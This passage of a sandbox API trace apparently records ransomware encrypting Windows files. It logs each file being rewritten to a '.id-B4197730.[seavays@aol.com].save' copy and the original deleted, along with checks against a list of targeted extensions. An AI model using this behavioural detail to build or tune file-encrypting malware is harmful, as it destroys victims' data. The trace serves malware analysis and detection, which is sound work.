(normalized: "c:\\logs\\microsoft-windows-wininet-config%4proxyconfigchanged.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0066.353] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0066.353] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0066.353] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-wininet-config%4proxyconfigchanged.evtx.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0066.353] GetLastError () returned 0x0 [0066.353] ReadFile (in: hFile=0x398, lpBuffer=0x3d02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesRead=0x314fecc*=0x11000, lpOverlapped=0x0) returned 1 [0066.357] WriteFile (in: hFile=0x388, lpBuffer=0x3d02020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesWritten=0x314fc94*=0x11010, lpOverlapped=0x0) returned 1 [0066.359] ReadFile (in: hFile=0x398, lpBuffer=0x3d02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0066.359] WriteFile (in: hFile=0x388, lpBuffer=0x3d02020*, nNumberOfBytesToWrite=0x146, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesWritten=0x314fc94*=0x146, lpOverlapped=0x0) returned 1 [0066.360] SetEndOfFile (hFile=0x388) returned 1 [0066.360] CloseHandle (hObject=0x388) returned 1 [0066.362] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0066.362] SetEndOfFile (hFile=0x398) returned 1 [0066.363] CloseHandle (hObject=0x398) returned 1 [0066.363] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0066.363] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx" (normalized: "c:\\logs\\microsoft-windows-wininet-config%4proxyconfigchanged.evtx")) returned 1 [0066.364] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65 [0066.364] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65 [0066.364] lstrlenW (lpString=".doc") returned 4 [0066.364] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0066.364] lstrlenW (lpString=".docx") returned 5 [0066.364] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0066.364] lstrlenW (lpString=".pdf") returned 4 [0066.364] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0066.364] lstrlenW (lpString=".xls") returned 4 [0066.364] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0066.364] lstrlenW (lpString=".xlsx") returned 5 [0066.364] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0066.364] lstrlenW (lpString=".ppt") returned 4 [0066.364] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0066.364] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65 [0066.364] lstrlenW (lpString=".zip") returned 4 [0066.364] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0066.364] lstrlenW (lpString=".rar") returned 4 [0066.364] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0066.364] lstrlenW (lpString=".bz2") returned 4 [0066.364] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0066.364] lstrlenW (lpString=".7z") returned 3 [0066.364] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0066.364] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65 [0066.364] lstrlenW (lpString=".dbf") returned 4 [0066.364] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0066.364] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65 [0066.364] lstrlenW (lpString=".1cd") returned 4 [0066.364] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0066.364] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65 [0066.365] lstrlenW (lpString=".jpg") returned 4 [0066.365] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0066.365] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65 [0066.365] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65 [0066.365] lstrlenW (lpString=".doc") returned 4 [0066.365] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0066.365] lstrlenW (lpString=".docx") returned 5 [0066.365] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0066.365] lstrlenW (lpString=".pdf") returned 4 [0066.365] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0066.365] lstrlenW (lpString=".xls") returned 4 [0066.365] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0066.365] lstrlenW (lpString=".xlsx") returned 5 [0066.365] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0066.365] lstrlenW (lpString=".ppt") returned 4 [0066.365] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0066.365] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65 [0066.365] lstrlenW (lpString=".zip") returned 4 [0066.365] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0066.365] lstrlenW (lpString=".rar") returned 4 [0066.365] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0066.365] lstrlenW (lpString=".bz2") returned 4 [0066.365] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0066.365] lstrlenW (lpString=".7z") returned 3 [0066.365] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0066.365] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65 [0066.365] lstrlenW (lpString=".dbf") returned 4 [0066.365] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0066.365] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65 [0066.365] lstrlenW (lpString=".1cd") returned 4 [0066.365] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0066.365] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65 [0066.366] lstrlenW (lpString=".jpg") returned 4 [0066.366] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0066.366] lstrcmpiW (lpString1=".evtx", lpString2=".save") returned -1 [0066.366] lstrlenW (lpString="Microsoft-Windows-Winlogon%4Operational.evtx") returned 44 [0066.366] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-winlogon%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0066.366] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=69632) returned 1 [0066.366] CloseHandle (hObject=0x398) returned 1 [0066.366] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-winlogon%4operational.evtx")) returned 0x20 [0066.366] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-winlogon%4operational.evtx.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0066.366] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-winlogon%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0066.367] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0066.367] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0066.367] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-winlogon%4operational.evtx.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0066.368] GetLastError () returned 0x0 [0066.368] ReadFile (in: hFile=0x398, lpBuffer=0x3d02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesRead=0x314fecc*=0x11000, lpOverlapped=0x0) returned 1 [0066.372] WriteFile (in: hFile=0x388, lpBuffer=0x3d02020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesWritten=0x314fc94*=0x11010, lpOverlapped=0x0) returned 1 [0066.374] ReadFile (in: hFile=0x398, lpBuffer=0x3d02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0066.374] WriteFile (in: hFile=0x388, lpBuffer=0x3d02020*, nNumberOfBytesToWrite=0x12c, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesWritten=0x314fc94*=0x12c, lpOverlapped=0x0) returned 1 [0066.374] SetEndOfFile (hFile=0x388) returned 1 [0066.375] CloseHandle (hObject=0x388) returned 1 [0066.377] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0066.377] SetEndOfFile (hFile=0x398) returned 1 [0066.378] CloseHandle (hObject=0x398) returned 1 [0066.379] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0066.379] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-winlogon%4operational.evtx")) returned 1 [0066.379] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx") returned 52 [0066.379] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx") returned 52 [0066.379] lstrlenW (lpString=".doc") returned 4 [0066.379] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0066.379] lstrlenW (lpString=".docx") returned 5 [0066.379] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0066.379] lstrlenW (lpString=".pdf") returned 4 [0066.379] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0066.379] lstrlenW (lpString=".xls") returned 4 [0066.379] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0066.379] lstrlenW (lpString=".xlsx") returned 5 [0066.379] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0066.379] lstrlenW (lpString=".ppt") returned 4 [0066.379] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0066.379] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx") returned 52 [0066.380] lstrlenW (lpString=".zip") returned 4 [0066.380] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0066.380] lstrlenW (lpString=".rar") returned 4 [0066.380] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0066.380] lstrlenW (lpString=".bz2") returned 4 [0066.380] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0066.380] lstrlenW (lpString=".7z") returned 3 [0066.380] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0066.380] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx") returned 52 [0066.380] lstrlenW (lpString=".dbf") returned 4 [0066.380] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0066.380] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx") returned 52 [0066.380] lstrlenW (lpString=".1cd") returned 4 [0066.380] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0066.380] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx") returned 52 [0066.380] lstrlenW (lpString=".jpg") returned 4 [0066.380] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0066.380] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx") returned 52 [0066.380] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx") returned 52 [0066.380] lstrlenW (lpString=".doc") returned 4 [0066.380] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0066.380] lstrlenW (lpString=".docx") returned 5 [0066.380] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0066.380] lstrlenW (lpString=".pdf") returned 4 [0066.380] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0066.380] lstrlenW (lpString=".xls") returned 4 [0066.380] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0066.380] lstrlenW (lpString=".xlsx") returned 5 [0066.380] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0066.380] lstrlenW (lpString=".ppt") returned 4 [0066.380] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0066.381] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx") returned 52 [0066.381] lstrlenW (lpString=".zip") returned 4 [0066.381] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0066.381] lstrlenW (lpString=".rar") returned 4 [0066.381] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0066.381] lstrlenW (lpString=".bz2") returned 4 [0066.381] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0066.381] lstrlenW (lpString=".7z") returned 3 [0066.381] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0066.381] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx") returned 52 [0066.381] lstrlenW (lpString=".dbf") returned 4 [0066.381] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0066.381] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx") returned 52 [0066.381] lstrlenW (lpString=".1cd") returned 4 [0066.381] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0066.381] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx") returned 52 [0066.381] lstrlenW (lpString=".jpg") returned 4 [0066.381] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0066.381] lstrcmpiW (lpString1=".evtx", lpString2=".save") returned -1 [0066.381] lstrlenW (lpString="Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 48 [0066.381] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wmi-activity%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0066.382] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=1052672) returned 1 [0066.382] CloseHandle (hObject=0x398) returned 1 [0066.382] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wmi-activity%4operational.evtx")) returned 0x20 [0066.382] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-wmi-activity%4operational.evtx.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0066.382] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wmi-activity%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0066.382] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0066.382] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0066.382] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-wmi-activity%4operational.evtx.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0066.383] GetLastError () returned 0x0 [0066.383] ReadFile (in: hFile=0x398, lpBuffer=0x3d02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesRead=0x314fecc*=0xffff0, lpOverlapped=0x0) returned 1 [0067.079] WriteFile (in: hFile=0x388, lpBuffer=0x3d02020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesWritten=0x314fc94*=0xffff0, lpOverlapped=0x0) returned 1 [0067.100] ReadFile (in: hFile=0x398, lpBuffer=0x3d02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesRead=0x314fecc*=0x1010, lpOverlapped=0x0) returned 1 [0067.633] WriteFile (in: hFile=0x388, lpBuffer=0x3d02020*, nNumberOfBytesToWrite=0x1020, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesWritten=0x314fc94*=0x1020, lpOverlapped=0x0) returned 1 [0067.638] ReadFile (in: hFile=0x398, lpBuffer=0x3d02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0067.638] WriteFile (in: hFile=0x388, lpBuffer=0x3d02020*, nNumberOfBytesToWrite=0x134, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d02020*, lpNumberOfBytesWritten=0x314fc94*=0x134, lpOverlapped=0x0) returned 1 [0067.638] SetEndOfFile (hFile=0x388) returned 1 [0067.639] CloseHandle (hObject=0x388) returned 1 [0067.668] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0068.091] SetEndOfFile (hFile=0x398) returned 1 [0068.092] CloseHandle (hObject=0x398) returned 1 [0068.093] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0068.093] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wmi-activity%4operational.evtx")) returned 1 [0068.093] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 56 [0068.094] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 56 [0068.094] lstrlenW (lpString=".doc") returned 4 [0068.094] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0068.094] lstrlenW (lpString=".docx") returned 5 [0068.094] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0068.094] lstrlenW (lpString=".pdf") returned 4 [0068.094] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0068.094] lstrlenW (lpString=".xls") returned 4 [0068.094] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0068.094] lstrlenW (lpString=".xlsx") returned 5 [0068.094] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0068.094] lstrlenW (lpString=".ppt") returned 4 [0068.094] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0068.094] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 56 [0068.094] lstrlenW (lpString=".zip") returned 4 [0068.094] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0068.094] lstrlenW (lpString=".rar") returned 4 [0068.094] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0068.094] lstrlenW (lpString=".bz2") returned 4 [0068.094] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0068.094] lstrlenW (lpString=".7z") returned 3 [0068.094] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0068.094] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 56 [0068.094] lstrlenW (lpString=".dbf") returned 4 [0068.094] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0068.094] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 56 [0068.094] lstrlenW (lpString=".1cd") returned 4 [0068.095] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0068.095] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 56 [0068.095] lstrlenW (lpString=".jpg") returned 4 [0068.095] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0068.095] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 56 [0068.095] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 56 [0068.095] lstrlenW (lpString=".doc") returned 4 [0068.095] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0068.095] lstrlenW (lpString=".docx") returned 5 [0068.095] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0068.095] lstrlenW (lpString=".pdf") returned 4 [0068.095] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0068.095] lstrlenW (lpString=".xls") returned 4 [0068.095] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0068.095] lstrlenW (lpString=".xlsx") returned 5 [0068.095] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0068.095] lstrlenW (lpString=".ppt") returned 4 [0068.095] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0068.095] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 56 [0068.095] lstrlenW (lpString=".zip") returned 4 [0068.095] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0068.095] lstrlenW (lpString=".rar") returned 4 [0068.095] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0068.095] lstrlenW (lpString=".bz2") returned 4 [0068.095] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0068.096] lstrlenW (lpString=".7z") returned 3 [0068.096] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0068.096] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 56 [0068.096] lstrlenW (lpString=".dbf") returned 4 [0068.096] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0068.096] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 56 [0068.096] lstrlenW (lpString=".1cd") returned 4 [0068.096] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0068.096] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 56 [0068.096] lstrlenW (lpString=".jpg") returned 4 [0068.096] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0068.096] lstrcmpiW (lpString1=".dll", lpString2=".save") returned -1 [0068.096] lstrlenW (lpString="api-ms-win-core-localization-l1-2-0.dll") returned 39 [0068.096] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-localization-l1-2-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0068.097] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=21184) returned 1 [0068.097] CloseHandle (hObject=0x398) returned 1 [0068.098] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-localization-l1-2-0.dll")) returned 0x20 [0068.098] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-localization-l1-2-0.dll.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0068.098] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-localization-l1-2-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0068.098] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0068.098] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0068.098] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-localization-l1-2-0.dll.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0068.099] GetLastError () returned 0x0 [0068.099] ReadFile (in: hFile=0x398, lpBuffer=0x3d02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, 